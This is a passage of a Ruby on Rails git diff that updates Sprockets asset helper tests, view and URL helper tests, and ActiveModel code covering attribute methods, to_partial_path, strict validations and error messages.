%r{/assets/logo-[0-9a-f]+.png}, + asset_path("logo.png", :digest => true) + assert_match %r{/assets/logo.png}, + asset_path("logo.png", :digest => false) + end + + test "custom_asset_path" do + @config.assets.prefix = '/s' + assert_match %r{/s/logo-[0-9a-f]+.png}, + asset_path("logo.png") + assert_match %r{/s/logo-[0-9a-f]+.png}, + asset_path("logo.png", :digest => true) + assert_match %r{/s/logo.png}, + asset_path("logo.png", :digest => false) end test "asset_path with root relative assets" do @@ -54,7 +69,7 @@ class SprocketsHelperTest < ActionView::TestCase assert_equal "/dir/audio", asset_path("/dir/audio") end - + test "asset_path with absolute urls" do assert_equal "http://www.example.com/video/play", asset_path("http://www.example.com/video/play") @@ -63,8 +78,9 @@ class SprocketsHelperTest < ActionView::TestCase end test "with a simple asset host the url should default to protocol relative" do + @controller.config.default_asset_host_protocol = :relative @controller.config.asset_host = "assets-%d.example.com" - assert_match %r{//assets-\d.example.com/assets/logo-[0-9a-f]+.png}, + assert_match %r{^//assets-\d.example.com/assets/logo-[0-9a-f]+.png}, asset_path("logo.png") end @@ -74,12 +90,13 @@ class SprocketsHelperTest < ActionView::TestCase assert_match %r{http://assets-\d.example.com/assets/logo-[0-9a-f]+.png}, asset_path("logo.png") end - + test "With a proc asset host that returns no protocol the url should be protocol relative" do + @controller.config.default_asset_host_protocol = :relative @controller.config.asset_host = Proc.new do |asset| "assets-999.example.com" end - assert_match %r{//assets-999.example.com/assets/logo-[0-9a-f]+.png}, + assert_match %r{^//assets-999.example.com/assets/logo-[0-9a-f]+.png}, asset_path("logo.png") end @@ -101,8 +118,8 @@ class SprocketsHelperTest < ActionView::TestCase end test "stylesheets served without a controller in scope cannot access the request" do - remove_instance_variable("@controller") - @config.action_controller.asset_host = Proc.new do |asset, request| + @controller = nil + @config.asset_host = Proc.new do |asset, request| fail "This should not have been called." end assert_raises ActionController::RoutingError do @@ -110,13 +127,41 @@ class SprocketsHelperTest < ActionView::TestCase end end + test "image_tag" do + assert_dom_equal '<img alt="Xml" src="/assets/xml.png" />', image_tag("xml.png") + end + + test "image_path" do + assert_match %r{/assets/logo-[0-9a-f]+.png}, + image_path("logo.png") + + assert_match %r{/assets/logo-[0-9a-f]+.png}, + path_to_image("logo.png") + end + + test "javascript_path" do + assert_match %r{/assets/application-[0-9a-f]+.js}, + javascript_path("application.js") + + assert_match %r{/assets/application-[0-9a-f]+.js}, + path_to_javascript("application.js") + end + + test "stylesheet_path" do + assert_match %r{/assets/application-[0-9a-f]+.css}, + stylesheet_path("application.css") + + assert_match %r{/assets/application-[0-9a-f]+.css}, + path_to_stylesheet("application.css") + end + test "stylesheets served without a controller in do not use asset hosts when the default protocol is :request" do - remove_instance_variable("@controller") - @config.action_controller.asset_host = "assets-%d.example.com" - @config.action_controller.default_asset_host_protocol = :request - @config.action_controller.perform_caching = true + @controller = nil + @config.asset_host = "assets-%d.example.com" + @config.default_asset_host_protocol = :request + @config.perform_caching = true - assert_equal "/assets/logo-9c0a079bdd7701d7e729bd956823d153.png", + assert_match %r{/assets/logo-[0-9a-f]+.png}, asset_path("logo.png") end @@ -126,87 +171,141 @@ class SprocketsHelperTest < ActionView::TestCase asset_path("/images/logo.gif") end - test "javascript path" do - assert_equal "/assets/application-d41d8cd98f00b204e9800998ecf8427e.js", - asset_path(:application, "js") + test "asset path with relative url root when controller isn't present but relative_url_root is" do + @controller = nil + @config.relative_url_root = "/collaboration/hieraki" + assert_equal "/collaboration/hieraki/images/logo.gif", + asset_path("/images/logo.gif") + end + + test "javascript path through asset_path" do + assert_match %r{/assets/application-[0-9a-f]+.js}, + asset_path(:application, :ext => "js") - assert_equal "/assets/xmlhr-d41d8cd98f00b204e9800998ecf8427e.js", - asset_path("xmlhr", "js") - assert_equal "/assets/dir/xmlhr-d41d8cd98f00b204e9800998ecf8427e.js", - asset_path("dir/xmlhr.js", "js") + assert_match %r{/assets/xmlhr-[0-9a-f]+.js}, + asset_path("xmlhr", :ext => "js") + assert_match %r{/assets/dir/xmlhr-[0-9a-f]+.js}, + asset_path("dir/xmlhr.js", :ext => "js") assert_equal "/dir/xmlhr.js", - asset_path("/dir/xmlhr", "js") + asset_path("/dir/xmlhr", :ext => "js") assert_equal "http://www.example.com/js/xmlhr", - asset_path("http://www.example.com/js/xmlhr", "js") + asset_path("http://www.example.com/js/xmlhr", :ext => "js") assert_equal "http://www.example.com/js/xmlhr.js", - asset_path("http://www.example.com/js/xmlhr.js", "js") + asset_path("http://www.example.com/js/xmlhr.js", :ext => "js") end test "javascript include tag" do - assert_equal '<script src="/assets/application-d41d8cd98f00b204e9800998ecf8427e.js" type="text/javascript"></script>', + assert_match %r{<script src="/assets/application-[0-9a-f]+.js" type="text/javascript"></script>}, javascript_include_tag(:application) + assert_match %r{<script src="/assets/application-[0-9a-f]+.js" type="text/javascript"></script>}, + javascript_include_tag(:application, :digest => true) + assert_match %r{<script src="/assets/application.js" type="text/javascript"></script>}, + javascript_include_tag(:application, :digest => false) - assert_equal '<script src="/assets/xmlhr-d41d8cd98f00b204e9800998ecf8427e.js" type="text/javascript"></script>', + assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js" type="text/javascript"></script>}, javascript_include_tag("xmlhr") - assert_equal '<script src="/assets/xmlhr-d41d8cd98f00b204e9800998ecf8427e.js" type="text/javascript"></script>', + assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js" type="text/javascript"></script>}, javascript_include_tag("xmlhr.js") assert_equal '<script src="http://www.example.com/xmlhr" type="text/javascript"></script>', javascript_include_tag("http://www.example.com/xmlhr") - assert_equal "<script src=\"/assets/xmlhr-d41d8cd98f00b204e9800998ecf8427e.js?body=1\" type=\"text/javascript\"></script>\n<script src=\"/assets/application-d41d8cd98f00b204e9800998ecf8427e.js?body=1\" type=\"text/javascript\"></script>", + assert_match %r{<script src=\"/assets/xmlhr-[0-9a-f]+.js" type=\"text/javascript\"></script>\n<script src=\"/assets/extra-[0-9a-f]+.js" type=\"text/javascript\"></script>}, + javascript_include_tag("xmlhr", "extra") + + assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js\?body=1" type="text/javascript"></script>\n<script src="/assets/application-[0-9a-f]+.js\?body=1" type="text/javascript"></script>}, javascript_include_tag(:application, :debug => true) - assert_equal "<script src=\"/assets/xmlhr-d41d8cd98f00b204e9800998ecf8427e.js\" type=\"text/javascript\"></script>\n<script src=\"/assets/extra-d41d8cd98f00b204e9800998ecf8427e.js\" type=\"text/javascript\"></script>", - javascript_include_tag("xmlhr", "extra") + @config.assets.compile = true + @config.assets.debug = true + assert_match %r{<script src="/javascripts/application.js" type="text/javascript"></script>}, + javascript_include_tag('/javascripts/application') + assert_match %r{<script src="/assets/xmlhr-[0-9a-f]+.js\?body=1" type="text/javascript"></script>\n<script src="/assets/application-[0-9a-f]+.js\?body=1" type="text/javascript"></script>}, + javascript_include_tag(:application) end - test "stylesheet path" do - assert_equal "/assets/application-68b329da9893e34099c7d8ad5cb9c940.css", asset_path(:application, "css") + test "stylesheet path through asset_path" do + assert_match %r{/assets/application-[0-9a-f]+.css}, asset_path(:application, :ext => "css") - assert_equal "/assets/style-d41d8cd98f00b204e9800998ecf8427e.css", asset_path("style", "css") - assert_equal "/assets/dir/style-d41d8cd98f00b204e9800998ecf8427e.css", asset_path("dir/style.css", "css") - assert_equal "/dir/style.css", asset_path("/dir/style.css", "css") + assert_match %r{/assets/style-[0-9a-f]+.css}, asset_path("style", :ext => "css") + assert_match %r{/assets/dir/style-[0-9a-f]+.css}, asset_path("dir/style.css", :ext => "css") + assert_equal "/dir/style.css", asset_path("/dir/style.css", :ext => "css") assert_equal "http://www.example.com/css/style", - asset_path("http://www.example.com/css/style", "css") + asset_path("http://www.example.com/css/style", :ext => "css") assert_equal "http://www.example.com/css/style.css", - asset_path("http://www.example.com/css/style.css", "css") + asset_path("http://www.example.com/css/style.css", :ext => "css") end test "stylesheet link tag" do - assert_equal '<link href="/assets/application-68b329da9893e34099c7d8ad5cb9c940.css" media="screen" rel="stylesheet" type="text/css" />', + assert_match %r{<link href="/assets/application-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />}, stylesheet_link_tag(:application) + assert_match %r{<link href="/assets/application-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag(:application, :digest => true) + assert_match %r{<link href="/assets/application.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag(:application, :digest => false) - assert_equal '<link href="/assets/style-d41d8cd98f00b204e9800998ecf8427e.css" media="screen" rel="stylesheet" type="text/css" />', + assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />}, stylesheet_link_tag("style") - assert_equal '<link href="/assets/style-d41d8cd98f00b204e9800998ecf8427e.css" media="screen" rel="stylesheet" type="text/css" />', + assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />}, stylesheet_link_tag("style.css") assert_equal '<link href="http://www.example.com/style.css" media="screen" rel="stylesheet" type="text/css" />', stylesheet_link_tag("http://www.example.com/style.css") - assert_equal '<link href="/assets/style-d41d8cd98f00b204e9800998ecf8427e.css" media="all" rel="stylesheet" type="text/css" />', + assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="all" rel="stylesheet" type="text/css" />}, stylesheet_link_tag("style", :media => "all") - assert_equal '<link href="/assets/style-d41d8cd98f00b204e9800998ecf8427e.css" media="print" rel="stylesheet" type="text/css" />', + assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="print" rel="stylesheet" type="text/css" />}, stylesheet_link_tag("style", :media => "print") - assert_equal "<link href=\"/assets/style-d41d8cd98f00b204e9800998ecf8427e.css?body=1\" media=\"screen\" rel=\"stylesheet\" type=\"text/css\" />\n<link href=\"/assets/application-68b329da9893e34099c7d8ad5cb9c940.css?body=1\" media=\"screen\" rel=\"stylesheet\" type=\"text/css\" />", + assert_match %r{<link href="/assets/style-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/extra-[0-9a-f]+.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag("style", "extra") + + assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />}, stylesheet_link_tag(:application, :debug => true) - assert_equal "<link href=\"/assets/style-d41d8cd98f00b204e9800998ecf8427e.css\" media=\"screen\" rel=\"stylesheet\" type=\"text/css\" />\n<link href=\"/assets/extra-d41d8cd98f00b204e9800998ecf8427e.css\" media=\"screen\" rel=\"stylesheet\" type=\"text/css\" />", - stylesheet_link_tag("style", "extra") + @config.assets.compile = true + @config.assets.debug = true + assert_match %r{<link href="/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag('/stylesheets/application') + + assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="screen" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag(:application) + + assert_match %r{<link href="/assets/style-[0-9a-f]+.css\?body=1" media="print" rel="stylesheet" type="text/css" />\n<link href="/assets/application-[0-9a-f]+.css\?body=1" media="print" rel="stylesheet" type="text/css" />}, + stylesheet_link_tag(:application, :media => "print") end test "alternate asset prefix" do stubs(:asset_prefix).returns("/themes/test") - assert_equal "/themes/test/style-d41d8cd98f00b204e9800998ecf8427e.css", asset_path("style", "css") + assert_match %r{/themes/test/style-[0-9a-f]+.css}, asset_path("style", :ext => "css") end test "alternate asset environment" do assets = Sprockets::Environment.new - assets.paths << FIXTURES.join("sprockets/alternate/stylesheets") + assets.append_path(FIXTURES.join("sprockets/alternate/stylesheets")) + stubs(:asset_environment).returns(assets) + assert_match %r{/assets/style-[0-9a-f]+.css}, asset_path("style", :ext => "css") + end + + test "alternate hash based on environment" do + assets = Sprockets::Environment.new + assets.version = 'development' + assets.append_path(FIXTURES.join("sprockets/alternate/stylesheets")) stubs(:asset_environment).returns(assets) - assert_equal "/assets/style-df0b97ad35a8e1f7f61097461f77c19a.css", asset_path("style", "css") + dev_path = asset_path("style", :ext => "css") + + assets.version = 'production' + prod_path = asset_path("style", :ext => "css") + + assert_not_equal prod_path, dev_path + end + + test "precedence of `config.digest = false` over manifest.yml asset digests" do + Rails.application.config.assets.digests = {'logo.png' => 'logo-d1g3st.png'} + @config.assets.digest = false + + assert_equal '/assets/logo.png', + asset_path("logo.png") end end diff --git a/actionpack/test/template/streaming_render_test.rb b/actionpack/test/template/streaming_render_test.rb index 023ce723ed..4d01352b43 100644 --- a/actionpack/test/template/streaming_render_test.rb +++ b/actionpack/test/template/streaming_render_test.rb @@ -28,7 +28,7 @@ class FiberedTest < ActiveSupport::TestCase def test_streaming_works content = [] - body = render_body(:template => "test/hello_world.erb", :layout => "layouts/yield") + body = render_body(:template => "test/hello_world", :layout => "layouts/yield") body.each do |piece| content << piece @@ -42,12 +42,12 @@ class FiberedTest < ActiveSupport::TestCase end def test_render_file - assert_equal "Hello world!", buffered_render(:file => "test/hello_world.erb") + assert_equal "Hello world!", buffered_render(:file => "test/hello_world") end def test_render_file_with_locals locals = { :secret => 'in the sauce' } - assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals.erb", :locals => locals) + assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals", :locals => locals) end def test_render_partial @@ -64,27 +64,27 @@ class FiberedTest < ActiveSupport::TestCase def test_render_with_layout assert_equal %(<title></title>\nHello world!\n), - buffered_render(:template => "test/hello_world.erb", :layout => "layouts/yield") + buffered_render(:template => "test/hello_world", :layout => "layouts/yield") end def test_render_with_layout_which_has_render_inline assert_equal %(welcome\nHello world!\n), - buffered_render(:template => "test/hello_world.erb", :layout => "layouts/yield_with_render_inline_inside") + buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside") end def test_render_with_layout_which_renders_another_partial assert_equal %(partial html\nHello world!\n), - buffered_render(:template => "test/hello_world.erb", :layout => "layouts/yield_with_render_partial_inside") + buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside") end def test_render_with_nested_layout assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n), - buffered_render(:template => "test/nested_layout.erb", :layout => "layouts/yield") + buffered_render(:template => "test/nested_layout", :layout => "layouts/yield") end def test_render_with_file_in_layout assert_equal %(\n<title>title</title>\n\n), - buffered_render(:template => "test/layout_render_file.erb") + buffered_render(:template => "test/layout_render_file") end def test_render_with_handler_without_streaming_support diff --git a/actionpack/test/template/test_test.rb b/actionpack/test/template/test_test.rb index 3d0bbba435..adcbf1447f 100644 --- a/actionpack/test/template/test_test.rb +++ b/actionpack/test/template/test_test.rb @@ -39,7 +39,7 @@ class PeopleHelperTest < ActionView::TestCase with_test_route_set do person = mock(:name => "David") person.class.extend ActiveModel::Naming - _routes.url_helpers.expects(:hash_for_mocha_mock_path).with(person).returns("/people/1") + expects(:mocha_mock_path).with(person).returns("/people/1") assert_equal '<a href="/people/1">David</a>', link_to_person(person) end end @@ -62,3 +62,19 @@ class CrazyHelperTest < ActionView::TestCase assert_equal PeopleHelper, self.class.helper_class end end + +class CrazySymbolHelperTest < ActionView::TestCase + tests :people + + def test_set_helper_class_using_symbol + assert_equal PeopleHelper, self.class.helper_class + end +end + +class CrazyStringHelperTest < ActionView::TestCase + tests 'people' + + def test_set_helper_class_using_string + assert_equal PeopleHelper, self.class.helper_class + end +end diff --git a/actionpack/test/template/text_helper_test.rb b/actionpack/test/template/text_helper_test.rb index f7c3986bb1..02f9609483 100644 --- a/actionpack/test/template/text_helper_test.rb +++ b/actionpack/test/template/text_helper_test.rb @@ -48,10 +48,10 @@ class TextHelperTest < ActionView::TestCase assert_equal "<p><b> test with unsafe string </b><script>code!</script></p>", simple_format("<b> test with unsafe string </b><script>code!</script>", {}, :sanitize => false) end - def test_simple_format_should_not_change_the_frozen_text_passed + def test_simple_format_should_not_change_the_text_passed text = "<b>Ok</b><script>code!</script>" text_clone = text.dup - simple_format(text.freeze) + simple_format(text) assert_equal text_clone, text end diff --git a/actionpack/test/template/url_helper_test.rb b/actionpack/test/template/url_helper_test.rb index 78245c1f95..bc45fabf34 100644 --- a/actionpack/test/template/url_helper_test.rb +++ b/actionpack/test/template/url_helper_test.rb @@ -88,6 +88,10 @@ class UrlHelperTest < ActiveSupport::TestCase ) end + def test_button_to_with_remote_and_form_options + assert_dom_equal "<form method=\"post\" action=\"http://www.example.com\" class=\"custom-class\" data-remote=\"true\" data-type=\"json\"><div><input type=\"submit\" value=\"Hello\" /></div></form>", button_to("Hello", "http://www.example.com", :remote => true, :form => { :class => "custom-class", "data-type" => "json" } ) + end + def test_button_to_with_remote_and_javascript_confirm assert_dom_equal( "<form method=\"post\" action=\"http://www.example.com\" class=\"button_to\" data-remote=\"true\"><div><input data-confirm=\"Are you sure?\" type=\"submit\" value=\"Hello\" /></div></form>", @@ -304,8 +308,8 @@ class UrlHelperTest < ActiveSupport::TestCase assert_equal "Showing", link_to_if(false, "Showing", url_hash) end - def request_for_url(url) - env = Rack::MockRequest.env_for("http://www.example.com#{url}") + def request_for_url(url, opts = {}) + env = Rack::MockRequest.env_for("http://www.example.com#{url}", opts) ActionDispatch::Request.new(env) end @@ -329,6 +333,12 @@ class UrlHelperTest < ActiveSupport::TestCase assert current_page?("http://www.example.com/?order=desc&page=1") end + def test_current_page_with_not_get_verb + @request = request_for_url("/events", :method => :post) + + assert !current_page?('/events') + end + def test_link_unless_current @request = request_for_url("/") diff --git a/activemodel/CHANGELOG b/activemodel/CHANGELOG index c38349b95e..3d26d646b0 100644 --- a/activemodel/CHANGELOG +++ b/activemodel/CHANGELOG @@ -1,6 +1,10 @@ +* Add ability to define strict validation(with :strict => true option) that always raises exception when fails [Bogdan Gusiev] + +* Deprecate "Model.model_name.partial_path" in favor of "model.to_partial_path" [Grant Hutchins, Peter Jaros] + * Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior [Bogdan Gusiev] -*Rails 3.1.0 (unreleased)* +*Rails 3.1.0 (August 30, 2011)* * Alternate I18n namespace lookup is no longer supported. Instead of "activerecord.models.admins.post", do "activerecord.models.admins/post" instead [José Valim] diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc index a0e6b4d9b3..67701bc422 100644 --- a/activemodel/README.rdoc +++ b/activemodel/README.rdoc @@ -186,13 +186,13 @@ modules: == Download and installation -The latest version of Active Model can be installed with Rubygems: +The latest version of Active Model can be installed with RubyGems: % [sudo] gem install activemodel Source code can be downloaded as part of the Rails project on GitHub -* https://github.com/rails/rails/tree/master/activemodel/ +* https://github.com/rails/rails/tree/master/activemodel == License diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec index 562f07fcd7..260ad01b65 100644 --- a/activemodel/activemodel.gemspec +++ b/activemodel/activemodel.gemspec @@ -19,5 +19,4 @@ Gem::Specification.new do |s| s.add_dependency('activesupport', version) s.add_dependency('builder', '~> 3.0.0') s.add_dependency('i18n', '~> 0.6') - s.add_dependency('bcrypt-ruby', '~> 2.1.4') end diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb index bdc0eb4a0d..ef0b95424e 100644 --- a/activemodel/lib/active_model/attribute_methods.rb +++ b/activemodel/lib/active_model/attribute_methods.rb @@ -1,5 +1,6 @@ require 'active_support/core_ext/hash/keys' require 'active_support/core_ext/class/attribute' +require 'active_support/deprecation' module ActiveModel class MissingAttributeError < NoMethodError @@ -60,7 +61,7 @@ module ActiveModel included do class_attribute :attribute_method_matchers, :instance_writer => false - self.attribute_method_matchers = [] + self.attribute_method_matchers = [ClassMethods::AttributeMethodMatcher.new] end module ClassMethods @@ -92,10 +93,10 @@ module ActiveModel # # Provides you with: # - # AttributePerson.primary_key + # Person.primary_key # # => "sysid" - # AttributePerson.inheritance_column = 'address' - # AttributePerson.inheritance_column + # Person.inheritance_column = 'address' + # Person.inheritance_column # # => 'address_id' def define_attr_method(name, value=nil, &block) sing = singleton_class @@ -284,33 +285,25 @@ module ActiveModel def define_attribute_method(attr_name) attribute_method_matchers.each do |matcher| - unless instance_method_already_implemented?(matcher.method_name(attr_name)) - generate_method = "define_method_#{matcher.prefix}attribute#{matcher.suffix}" + method_name = matcher.method_name(attr_name) + + unless instance_method_already_implemented?(method_name) + generate_method = "define_method_#{matcher.method_missing_target}" if respond_to?(generate_method) send(generate_method, attr_name) else - method_name = matcher.method_name(attr_name) + if method_name =~ COMPILABLE_REGEXP + defn = "def #{method_name}(*args)" + else + defn = "define_method(:'#{method_name}') do |*args|" + end generated_attribute_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1 - if method_defined?('#{method_name}') - undef :'#{method_name}' + #{defn} + send(:#{matcher.method_missing_target}, '#{attr_name}', *args) end RUBY - - if method_name.to_s =~ COMPILABLE_REGEXP - generated_attribute_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1 - def #{method_name}(*args) - send(:#{matcher.method_missing_target}, '#{attr_name}', *args) - end - RUBY - else - generated_attribute_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1 - define_method('#{method_name}') do |*args| - send('#{matcher.method_missing_target}', '#{attr_name}', *args) - end - RUBY - end end end end @@ -336,7 +329,7 @@ module ActiveModel protected def instance_method_already_implemented?(method_name) - method_defined?(method_name) + generated_attribute_methods.method_defined?(method_name) end private @@ -357,8 +350,11 @@ module ActiveModel if attribute_method_matchers_cache.key?(method_name) attribute_method_matchers_cache[method_name] else + # Must try to match prefixes/suffixes first, or else the matcher with no prefix/suffix + # will match every time. + matchers = attribute_method_matchers.partition(&:plain?).reverse.flatten(1) match = nil - attribute_method_matchers.detect { |method| match = method.match(method_name) } + matchers.detect { |method| match = method.match(method_name) } attribute_method_matchers_cache[method_name] = match end end @@ -366,10 +362,20 @@ module ActiveModel class AttributeMethodMatcher attr_reader :prefix, :suffix, :method_missing_target - AttributeMethodMatch = Struct.new(:target, :attr_name) + AttributeMethodMatch = Struct.new(:target, :attr_name, :method_name) def initialize(options = {}) options.symbolize_keys! + + if options[:prefix] == '' || options[:suffix] == '' + ActiveSupport::Deprecation.warn( + "Specifying an empty prefix/suffix for an attribute method is no longer " \ + "necessary. If the un-prefixed/suffixed version of the method has not been " \ + "defined when `define_attribute_methods` is called, it will be defined " \ + "automatically." + ) + end + @prefix, @suffix = options[:prefix] || '', options[:suffix] || '' @regex = /^(#{Regexp.escape(@prefix)})(.+?)(#{Regexp.escape(@suffix)})$/ @method_missing_target = "#{@prefix}attribute#{@suffix}" @@ -378,7 +384,7 @@ module ActiveModel def match(method_name) if @regex =~ method_name - AttributeMethodMatch.new(method_missing_target, $2) + AttributeMethodMatch.new(method_missing_target, $2, method_name) else nil end @@ -387,6 +393,10 @@ module ActiveModel def method_name(attr_name) @method_name % attr_name end + + def plain? + prefix.empty? && suffix.empty? + end end end @@ -401,13 +411,21 @@ module ActiveModel # It's also possible to instantiate related objects, so a Client class # belonging to the clients table with a +master_id+ foreign key can # instantiate master through Client#master. - def method_missing(method_id, *args, &block) - method_name = method_id.to_s - if match = match_attribute_method?(method_name) - guard_private_attribute_method!(method_name, args) - return __send__(match.target, match.attr_name, *args, &block) + def method_missing(method, *args, &block) + if respond_to_without_attributes?(method, true) + super + else + match = match_attribute_method?(method.to_s) + match ? attribute_missing(match, *args, &block) : super end - super + end + + # attribute_missing is like method_missing, but for attributes. When method_missing is + # called we check to see if there is a matching attribute method. If so, we call + # attribute_missing to dispatch the attribute. This method can be overloaded to + # customise the behaviour. + def attribute_missing(match, *args, &block) + __send__(match.target, match.attr_name, *args, &block) end # A Person object with a name attribute can ask <tt>person.respond_to?(:name)</tt>, @@ -416,15 +434,14 @@ module ActiveModel alias :respond_to_without_attributes? :respond_to? def respond_to?(method, include_private_methods = false) if super - return true + true elsif !include_private_methods && super(method, true) # If we're here then we haven't found among non-private methods # but found among all methods. Which means that the given method is private. - return false - elsif match_attribute_method?(method.to_s) - return true + false + else + !match_attribute_method?(method.to_s).nil? end - super end protected @@ -440,13 +457,6 @@ module ActiveModel match && attribute_method?(match.attr_name) ? match : nil end - # prevent method_missing from calling private methods with #send - def guard_private_attribute_method!(method_name, args) - if self.class.private_method_defined?(method_name) - raise NoMethodError.new("Attempt to call private method `#{method_name}'", method_name, args) - end - end - def missing_attribute(attr_name, stack) raise ActiveModel::MissingAttributeError, "missing attribute: #{attr_name}", stack end diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb index 1405b1bfe3..80a3ba51c3 100644 --- a/activemodel/lib/active_model/conversion.rb +++ b/activemodel/lib/active_model/conversion.rb @@ -1,9 +1,12 @@ +require 'active_support/concern' +require 'active_support/inflector' + module ActiveModel # == Active Model Conversions # - # Handles default conversions: to_model, to_key and to_param. + # Handles default conversions: to_model, to_key, to_param, and to_partial_path. # - # Let's take for example this non persisted object. + # Let's take for example this non-persisted object. # # class ContactMessage # include ActiveModel::Conversion @@ -18,8 +21,11 @@ module ActiveModel # cm.to_model == self # => true # cm.to_key # => nil # cm.to_param # => nil + # cm.to_path # => "contact_messages/contact_message" # module Conversion + extend ActiveSupport::Concern + # If your object is already designed to implement all of the Active Model # you can use the default <tt>:to_model</tt> implementation, which simply # returns self. @@ -45,5 +51,23 @@ module ActiveModel def to_param persisted? ? to_key.join('-') : nil end + + # Returns a string identifying the path associated with the object. + # ActionPack uses this to find a suitable partial to represent the object. + def to_partial_path + self.class._to_partial_path + end + + module ClassMethods #:nodoc: + # Provide a class level cache for the to_path. This is an + # internal method and should not be accessed directly. + def _to_partial_path #:nodoc: + @_to_partial_path ||= begin + element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(self)) + collection = ActiveSupport::Inflector.tableize(self) + "#{collection}/#{element}".freeze + end + end + end end end diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb index e3e71525fa..166cccf161 100644 --- a/activemodel/lib/active_model/dirty.rb +++ b/activemodel/lib/active_model/dirty.rb @@ -29,7 +29,7 @@ module ActiveModel # # include ActiveModel::Dirty # - # define_attribute_methods = [:name] + # define_attribute_methods [:name] # # def name # @name diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb index 71ece15b71..d91e4a2b6a 100644 --- a/activemodel/lib/active_model/errors.rb +++ b/activemodel/lib/active_model/errors.rb @@ -49,7 +49,7 @@ module ActiveModel # # The last three methods are required in your object for Errors to be # able to generate error messages correctly and also handle multiple - # languages. Of course, if you extend your object with ActiveModel::Translations + # languages. Of course, if you extend your object with ActiveModel::Translation # you will not need to implement the last two. Likewise, using # ActiveModel::Validations will handle the validation related methods # for you. @@ -63,7 +63,7 @@ module ActiveModel class Errors include Enumerable - CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank] + CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank, :strict] attr_reader :messages @@ -86,8 +86,9 @@ module ActiveModel # Do the error messages include an error with key +error+? def include?(error) - messages.include? error + (v = messages[error]) && v.any? end + alias :has_key? :include? # Get messages for +key+ def get(key) @@ -174,11 +175,12 @@ module ActiveModel to_a.size end - # Returns true if there are any errors, false if not. + # Returns true if no errors are found, false otherwise. def empty? all? { |k, v| v && v.empty? } end alias_method :blank?, :empty? + # Returns an xml formatted representation of the Errors hash. # # p.errors.add(:name, "can't be blank") @@ -218,6 +220,9 @@ module ActiveModel elsif message.is_a?(Proc) message = message.call end + if options[:strict] + raise ActiveModel::StrictValidationFailed, message + end self[attribute] << message end @@ -250,20 +255,22 @@ module ActiveModel # company.errors.full_messages # => # ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Email can't be blank"] def full_messages - map { |attribute, message| - if attribute == :base - message - else - attr_name = attribute.to_s.gsub('.', '_').humanize - attr_name = @base.class.human_attribute_name(attribute, :default => attr_name) - - I18n.t(:"errors.format", { - :default => "%{attribute} %{message}", - :attribute => attr_name, - :message => message - }) - end - } + map { |attribute, message| full_message(attribute, message) } + end + + # Returns a full message for a given attribute. + # + # company.errors.full_message(:name, "is invalid") # => + # "Name is invalid" + def full_message(attribute, message) + return message if attribute == :base + attr_name = attribute.to_s.gsub('.', '_').humanize + attr_name = @base.class.human_attribute_name(attribute, :default => attr_name) + I18n.t(:"errors.format", { + :default => "%{attribute} %{message}", + :attribute => attr_name, + :message => message + }) end # Translates an error message in its default scope @@ -319,4 +326,7 @@ module ActiveModel I18n.translate(key, options) end end + + class StrictValidationFailed < StandardError + end end diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb index b71ef4b22e..bfe7ea1869 100644 --- a/activemodel/lib/active_model/lint.rb +++ b/activemodel/lib/active_model/lint.rb @@ -43,6 +43,16 @@ module ActiveModel assert model.to_param.nil?, "to_param should return nil when `persisted?` returns false" end + # == Responds to <tt>to_partial_path</tt> + # + # Returns a string giving a relative path. This is used for looking up + # partials. For example, a BlogPost model might return "blog_posts/blog_post" + # + def test_to_partial_path + assert model.respond_to?(:to_partial_path), "The model should respond to to_partial_path" + assert_kind_of String, model.to_partial_path + end + # == Responds to <tt>valid?</tt> # # Returns a boolean that specifies whether the object is in a valid or invalid @@ -66,15 +76,14 @@ module ActiveModel # == Naming # - # Model.model_name must return a string with some convenience methods as - # :human and :partial_path. Check ActiveModel::Naming for more information. + # Model.model_name must return a string with some convenience methods: + # :human, :singular, and :plural. Check ActiveModel::Naming for more information. # def test_model_naming assert 